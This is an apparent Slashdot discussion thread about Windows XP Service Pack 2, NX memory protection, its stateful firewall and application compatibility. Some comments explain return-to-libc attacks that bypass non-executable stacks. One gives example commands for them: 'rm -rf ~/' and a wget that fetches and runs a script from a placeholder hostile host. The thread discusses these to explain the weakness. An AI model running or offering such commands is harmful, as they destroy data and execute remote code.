Windows XP SP2 Could Break Some Applications

Denver_80203 writes "An article from InfoWorld states that the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Or: 'The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one.' Fortunately for us, they are offering a course to guide the unsecure masses."

Uh oh

"the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.'"

That's just about every application in Windows XP

Re:Uh oh

You don't realize how true this is after the W2K source leak. Microsoft has to take drastic measures if they are to stem the flood of exploits.

Making sure nothing can buffer overrun to execute with even user privileges is a neccessity now that countless local holes are known (Overflow on loading a bitmap? How in the hell did they manage to screw that up?).

Re:Uh oh

Are you kidding? You have seen the format of a bitmap, haven't you? It's a seriously screwed up format.

I believe, BTW, the problem is an integer overflow one; a length field has a number substracted from it without previously checking that it is large enough to not wrap around to 2^32-(a little bit). This kind of thing happens a lot, and was the cause of the most recent Apache hole (among many others), so criticising MS for having one similar is a little harsh.

Re:Uh oh

I've seen the format. I've seen worse, and bmp is hardly bad enough to mess up an implimentation for.

I don't feel it's harsh at all to criticise over this. The Apache Group should also be embarassed for the same.
(what, you assumed I'm yet another anti-MS/pro-OSS zealot?)

Integer overflows are easily avoided, and the very fact that they crop up so often is the reason programmers keep such a sharp eye out for them (at least where I work, anyway).

Re:Uh oh

From the developer's guide [microsoft.com]. Emphasis mine.

The security technologies included with Service Pack 2 will allow for better protection against network-based attacks.. Windows Firewall is now turned on by default and all ports are closed except when they are in use.

I hope their firewall doesn't open ports automatically, or it's nothing more than swiss cheese.

Re:Uh oh

hehe

I also like :

Work continues with microprocessor vendors to help Windows support hardware-enforced "no execute" (NX) on microprocessors that support the feature. This feature allows the CPU to enforce the separation of application code and data, preventing a component from executing program code that a worm or virus inserted into a portion of memory marked for data only.

So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".

Apparently MS hasn't learned the ancient ninja technique of heap redirection or return-to-lib.

So new hardware security features will lead to *more* exploits!

Re:Uh oh

Nope. If the NX flag catches your problem, it won't let it slide - it'll refuse to run that segment of code. So instead of a buffer overflow you can't see, now you'll have an exception that's a lot more visible, and a lot less dangerous if it slips by QA.

Re:Uh oh

I think you missed the point. This is fundamentally similar to 'stackguard' and has been circumvented for some time using the following technique: (and others, mind you)

When you overwrite the stack pointer, you don't have to point to code that's on the stack.

For example, I can overflow with a 'command-line string' on the stack, and have the overwritten stack pointer point to the address of a library function, such as 'system()', or something, and then it won't be executing any code from the stack, just taking arguments from the stack like usual.

This can't be blocked with a conventional non-executable stack.

Re:Uh oh

So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".

Give me a break. You might as well say that we should get rid of memory protection and preemptive multitasking, because having them makes the programmers lazy, thinking the OS will catch their errors.

The NX feature is very good for security and stability. All people including programmers make mistakes, and if you design your security policy on the basis that no one will ever make a mistake you are bound for trouble. The only sensible approach is to have multiple layers where mistakes in one will be caught in the next and prevented from becoming a bigger problem than it should.

If the OS+hardware completely disallow you from writing to code memory, or executing application memory, then any attempts to do so will be killed on the spot and the blame will be placed squarely on your application. The user will know that your program screwed up (or was being malicious) instead of blaming it on windows. So not only will this close off an entire class of exploits, it will provide incentive for programmers to do a better job!

Re:Uh oh

"The NX feature is very good for security and stability."

NO NO NO! That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.

Overwrite the stack pointer with the address of a suitable library function. E.g., clobbering the stack pointer with the address of system() and overwriting the top of the stack with (pointer(s) to) suitable arguments (e.g., "rm -rf ~/", or "wget -c http://somebadplace.com/somethingbad.sh;/bin/sh somethinbad.sh"). Nothing on the stack ever gets executed, and you neatly sidestep any protection afforded by NX.

Re:Uh oh

If you keep reading, you see that they mean the application must support a stateful firewall.
Ports will not accept incoming messages, unless an application has opened the port with an outgoing message (putting the port "in use").
This means that server applications - which have to accept uninitiated communications - have to be put on a "whitelist" manually.

It will not protect you against trojan horse applications which can initiate communications from your machine, but it will protect you against external port attacks which have helped some of the famous worms propogate.

They are talking about stateful firewalls

This would be how any firewall worth it's shit works. Nothing is permitted incomming by default, unless there is a rule specifying otherwise. Now, when your computer goes and establishes a connection outgoing to another computer, that is permitted by default (unless there is a rule specifying otherwise).

Question is, what happens when the data comes back? If your firewall just says "allow out, deny in" and simply evaluates each packet in a vaccuum, it would do no good. You could never establish communications since all inbound traffic would be dropped.

So, what firewalls do is keep track of connections. You send a request to a webserver, it replies. The firewall, because it's stateful, knows that the reply is a response to your request, and permits it through. However, it's for that connection only. If the same server trys to poke at you, it'll get denied, while still allowing traffic for the web connection through.

Thus a stateful firewall with two simple rules (allow out, deny in) can secure a desktop system pretty well. Anyone that pokes at the system will get nothing, but all requests that the user initiates will be allowed.

The Windows XP firewall is a pretty simple one. By default, it does just this. You can also, if you like, specify inbound ports that are to be permitted at all times. So if you run an FTP server, you can specify that port 21 be permitted. However, in it's default config, it works great for most users. It's how I configure Kerio Personal Firewall for people, barring special needs.

Re:Uh oh

The upcoming Windows XP Service Pack 2 could break some 'unsecure applications'.

Are we talking about Windows XP SP1?

Great!

another reason for the company I work for to NOT migrate from Windows 2000.

Thank you Microsoft!

Re:Great!

Yeah. When the open source guys break insecure applicications at least they get fixed in minutes, or it just takes a recompile. :0

How are you suppose to correct these apps? I bet some don't even have company's behind them anymore.

Re:Great!

It's hardly new for Windows to drop backwards compatibility in areas. Many applications which are partly 16-bit and partly 32-bit won't run on Windows XP, but do run on Windows 95/98/ME for example

Windows XP has application compatibility features which allow you to set the OS version to previous releases and provide compatibility with older registry layouts, for example. That kind of compatibility feature is unlikely to help with stricter security controls of course (unlesss there's an option simply to turn off the new security features).

Re:Great!

I've run into this many times. Or if the company exists, they have dropped support for the older version. And many times, the newer versions are not providing anything useful *except* support for the new OS. Not worth the upgrade price.

With open source, I can nearly always manage the problem - recompile works most of the time, and if not, I can either fix it myself, or find someone who has or will fix it, either for free or for a reasonable fee. More and more of my clients are starting to see the value of Linux and open source applications, especially in the server area. And these are small to medium sized businesses who tend to be very conservative about how they spend their computing money.

I even have customers asking about switching to Mac - something that hasn't happened in ages, if ever!

Re:Great!

Let me get this straight: Microsoft is making XP more secure in a way that could break some programs (sort of like the grsecurity linux kernel patches break some programs), and you're against that? Sure, it would be nice if it was optional---but it's Microsoft! Doing something about security! Even if it means actually announcing that some programs may be broken!

Java?

The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation.

Is this supposed to mean that Java will stop working?

--t

Re:Java?

How do you think you do compilation without code generation? Compilation is the conversion of code in one format (in this case Java bytecodes) to code in another (e.g. x86 assembly).

Re:Java?

no microsoft would never do this, they would be sued for doing so, you know anticompetitive business tactics and the like...

but wait... there was something...

Re:Java?

If Java is doing the right thing it will not be broken.

The right thing to do is to call VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE, &prevProtect);

That will mark the memory pages as being read/write/execute (where as previously they were only read/write). People should have been doing this before anyway (as the pages were never guaranteed to be executable), and if they didn't it's their bug.

I'm betting that Sun can download the beta and test Java on XP SP2 to make sure they're compliant though. Hell, Microsoft could probably even do some compatibility testing for them and enable a compatibility layer for Java. But then again Sun might sue them for that. MS probably just wants to stay away :).

Re:Java?

Buffer overflows don't overflow into program code (the stack grows toward program code, so a buffer goes away from program code). The simplest buffer overflow would put code onto the stack and overwrite the return address of a function with an address of the code on the stack. This only works if the stack is executable. It sounds like they'll be making the stack for data only, breaking some applications. This does not stop another kind of overflow where you put system call arguments on the stack and alter the return address to start executing a system/library call.

Java vs. C (again)

Try a well written app like azureus...

While the SWT is pretty, it eats 120 megs of memory on my machine and a significant amount of CPU. The old standard BT client (whatever it's called) is more like 15 megs and much lighter on the CPU.

Actually, at work recently we've had a bit of a shootout among various XML DOMs. Our C++ code runs about 4 times slower than (my) tighter C code. But the amazing thing is that some Java code, with a highly optimizing JVM, has beaten my C by about 50%. Of course, we aren't counting startup time, but still, that sucker is fast. We think it comes down to the JVM being optimized for the P4 while the best I can do with Microsoft Visual C++ is optimizing for the Pentium Pro.

This may affect Linux as well as MS

But unfortunately with many apps that run on Windows, you don't have the source code for those apps for a recompile if they do get broken. Sorry Anonymous Coward, we have to bag MS on this one. They are going to cause a lot of grief by doing this, and a lot of companies will not upgrade to SP2 to avoid that grief. Anyway I think people should stay with windows 2000 as an operating system of choice in a business type environment.

In the past, MS has broken Windows 95/98 applications, but Windows XP/2000 had compatibility modes available for the older applications. If it is as they say, and newer apps will be intentionally broken without any way of going into a compatibility mode, this will be bad.

I have difficulty believing MS would not include some kind of compatibility mode, however. It'll be interesting to see what they do. It won't really affect me though, I don't use XP and can't stand that OS (Windows 2000 is still my favorite Microsoft OS; Windows XP is just 2000 with some pretty GUI changes and some compatibility fixes.)

Imagine the other headline

You have to bag on MS for this?
Ok, imagine this alternate Slashdot headline:

MS sales buries secure XP
Itoldyouso writes - A leaked memo indicates that the Microsoft developers created a much more secure version of their flagship operating system. However, because it would have caused problems with a small number of applications that were designed insecurely, the Sales & Marketing teams vetoed the new secure version, in an attempt to avoid a customer backlash. It is now official - Microsoft's commitment to trustworthy computing is a complete joke.

I have a feeling that post would rile a lot more people here.

Re:Imagine the other headline

You're probably right about the hypothetical headline, but the problem - as others here have pointed out - is a fundamental one with closed-source software. Whenever compatibility is broken, users are forced to upgrade apps to restore compatibility with the OS. Since users are unable to do this themselves, vendors can (and do) exploit it as a revenue opportunity. It is also a drag on the development of the OS, because Microsoft is forced to kludge back-compatibility in order to make new Windows versions acceptable to customers with irreplaceable legacy software.

In the Open Source world you can just recompile, or download new binaries from someone who's done it for you. I've been running Linux for something like 10 years now. Upgrading has never slowed me down for more than a day or so, and I have never lost the use of any software that I needed or wanted to continue using.

Re:Lets not bag on MS

Upgrading to 2.6 was not a forced security upgrade, but simply an option. Patching security with linux is a quick patch and restarting the affected service.

Does this Service Pack allow itemized upgrading? A reboot? Uninstalling broken patches? More than one reboot?

Re:Lets not bag on MS

I don't see how Visual Studio .net and .Net Framework users can be considered a small minority. The thing is, Microsoft releasing a service pack that breaks everything is very different from a linux distribution breaking when the use decides to try to compile and install new software completely on their own--Microsoft is the equivalent of the whole open source community of programmers and distributors combined, so a new service pack isn't analagous to a new major release of the Linux kernel, it's more like a new minor release of a Linux distribution. And I'm not sure it's even like that, since a service pack upgrade is supposed to be a lot easier to do then installing a Linux distribution release--so it's more like an distro-released security fix. Which isn't supposed to break everything. I don't know anything about the specifics, but there are memory-protecting kernel patches out there for linux, like PAX and grsecurity and probably a bunch of others. You have to disable them when running Java and X, so I imagine Java will be effected by this update.

Re:Lets not bag on MS

Windows .NET Framework applications do not currently mark generated code with Execute permissions. XPSP2 recognizes the current, shipped versions of .NET Framework and runs them with NX off. Therefore existing .NET applications will continue to run. Microsoft is enhancing the .NET Framework to take advantage of NX and will ship service packs for each of the shipped versions in the XP SP2 RTM timeframe. The .NET Framework "Whidbey" will innately support NX.

The "unsecure" list

Open Office, Mozilla, Java based applications, Apache with PHP, and other applications written by a bunch of programmers without a management control :)

some funny quotes

From the article @ Windows XP SP2 could break existing application [computerworld.com]
according to Tony Goodhew, a product manager in Microsoft's developer group:

"SP2 will break some applications because they are insecure," he said. "Security is important, and it is not just a Microsoft problem but a developer community problem. We all need to work together to create a more secure computing environment."

"It doesn't really matter how long it is going to take you to do the work; security is an important issue, and developers need to start doing that work now," Goodhew said.

Re:some funny quotes

Which is what happens when you let a product manager talk about technical issues.

There applications that will break are _not_ (necessarily) insecure. They just behave in a way that makes it impossible for Windows to tell isn't somebody trying to execute some code in an overflowed buffer.

Typical MS press relations, blame everyone else.

Re:"Insecure Applications"?

Look at what you just wrote. Service packs fix the operating system. What I see this as meaning is it will break applications that were written in an insecure manner, most likely using undocumented APIs.

In the past, when MS has updated the OS, they've often worked kludges in to make sure they don't break applications that were doing things that they weren't supposed to be doing. With the new focus on security, Microsoft has likely put an end to such kludges and things are going to break. I'm not surprised, and it doesn't really bother me.

Really, most of the posts I'm seeing are giving Microsoft a hard time about this, but how is it any different from the kernel developers refusing to freeze a driver API, which in turn occassionally causes drivers for some hardware to break? It happens, and it's really out of Microsoft's hands if they're focused on building a more secure OS than what they have now. I'm sure Microsoft's own products will be patched at the same time SP2 is released, and so long as they provide a changelist which would allow developers to fix apps that might break, what's the problem?

Better security is good

Sounds like an issue with NX bit implementation on A64 ... this protects memory that is tagged as data from being executed (which protects against buffer overrun exploits, which are 50% of the MS security issues). This would affect .NET, Java, etc. However I'm sure that there is a way to fix this for these types of application!

Regardless, enforcing decent security like this is good.

Now all the hackers will have to try other methods of hacking windows, heh. I'm sure that there is no shortage of them!

Re:Better security is good

The NX support is only one of the major changes and it will only affect AMD64 and Itanic for now. The lack of NX in Prescott's "IA32e" extensions is listed here [iu.edu] by an intel source and discussed in detail in this thread on Ace's Hardware [aceshardware.com]. This unofficial comment [aceshardware.com] in that thread might lead a true conspiracy theorist to conclude that there might be widespread issues with turning on NX support right now. Reading MS's Developer overview for SP2 here [microsoft.com] also gives the impression that NX related problems will not be easy to workaround, at least for non open source apps\drivers. The fact that AMD haven't been making any effort to try to market the NX capabilities in AMD64 outside of the enthusiast market could be explained if there are major issues with SP2.

The RPC and DCOM changes are much more likely to have wider impacts - especially for enterprise applications.

The ICF changes are fairly light (unfortunately in my view) and not that hard for end users\admins to modify so even if there are issues workarounds will be fairly simple.

Here's more info on what SP2 is about

Microsoft has a nice bit of info [microsoft.com] for developers. All in all, I'm pretty impressed with the work and thought they've put into this SP--should make the world just a little bit safer for computing (of course, only for the folk running XP, the rest of their offerings don't have any of this as far as I know).

More work.....sigh.

Without doubt, countless QA software testers & coders will cry out in anguish over this.....more work for them to do. But if they want to sell their software on the large Windows desktop market....They have little choice in the matter.

For each software build, we have to test against the various OS versions, and different service packs builds. Not fun...

Duh???

QA software testers & coders will cry out in anguish over this.....more work for them to do

I don't think the will "cry out in anguish" if they've got any sense. In today's market they'll jump for joy, knowing that their jobs are safe for another few months.

You cannot make an omelet without breaking eggs.

I really like the direction Microsoft is heading.
Granted it was needed as their reputation, in regards of security, has always been low to none.

I really hope this will rid Windows XP of future remote exploits, since that's still the biggest threat Windows is facing.
Having said that, this wont fix all security problems, there will always be the luser that executes whatever is mailed to him/her, but it's still a step in the right direction.

The blind leading...

Fortunately for us, they are offering a course to guide the unsecure masses.

The blind leading the seeing?

Re:The blind leading...

If you were trapped total darkness with no flashlight, the blind person is who you'd want to lead you out...when you're surrounded by utter stupidity, you want whoever is the most familiar with it to lead you out.

Where do you get the Beta

I read an article about this yesterday and wanted to test it against some apps where I work, but could not find the download for it on the Microsoft website. Do you have to have an MSDN subscription to get it. Seems rather rather screwy that if I want to make sure my app works with Microsofts OS I pay to them an extra $500 for the privilege. Maybe this is the new money making model. Profits are down this quarter, lets go break some code and charge them for how to fix it.

'Tis a gentle touch of irony...

...when one realises that most of this effort is fruit of a tiny 5kb worm which actually had asked mr gates to repair his software... I'm still working on my sig

I like it

First, they decided to postpone Longhorn "Until it's done", rather than releasing a shoddy product early.

Second, they've gone so far as to break application compatibility in order to clean up a number of deeply embedded security holes in Windows.

Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"

Re:I like it

Hopefully they're cracking down on all the apps that have to run as admin. If all those users who open up strange attachments didn't have authority to play with the %windows% directories, there'd be a lot less 0wn3d boxes on the net.

I bet that most of the things broken should have been fixed back in the NT5 guidelines pre-Win2000.

Re:I like it

1. Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"

While I agree, I'm becomming a strong advocate for looking at the world from the point of base motivations.

Microsoft is primarily motivated to keep stock prices going up -- or at a minimum -- stable.

If these changes become too painful for those who don't care about security, it will cause a decrease in the deployment of Windows XP and XP-specific programs.

If this happens -- or may happen -- Microsoft will do something to make people happy...even if that means back stepping.

That said, I can see them putting out XP SP2 (forcing the app vendors including MS themselves to deal with security) and then offering a variety of moderately painful workarounds. Ideally, the workarounds would break with each minor update, forcing the security issue.

Putting the changes in XP only, though, does fit with Microsoft's motivation to get people to upgrade. Now they can say "well, W2K is not nearly as secure as XP", even though they could back port the changes to W2K -- though there is no motivation to do so.

From motivations, though, it's hard to beat OSS on security. The code is there, and if something is not secure it will be made secure because the developers are personally driven to make it so.

(ObDisclaimer: Keeping in mind that security is always a process not a product. Tools can be handy or even critical, though how they are used and why is much more important.)

Re:Start doing that work NOW!

""Microsoft is finally starting to favor security over functionality."

They that give up functionality to obtain a little security deserve neither functionality nor security.

Yeah, or something like that.

Sounds like...

...IE will continue to be broken then :-)

Actually, I'm very interested to see if the SP2 pop-up ad blocker will actually work in IE since MS has dragged their feet on this issue. Half the battles we have been fighting lately at work involve IE and pop-ups that install crap without any notification.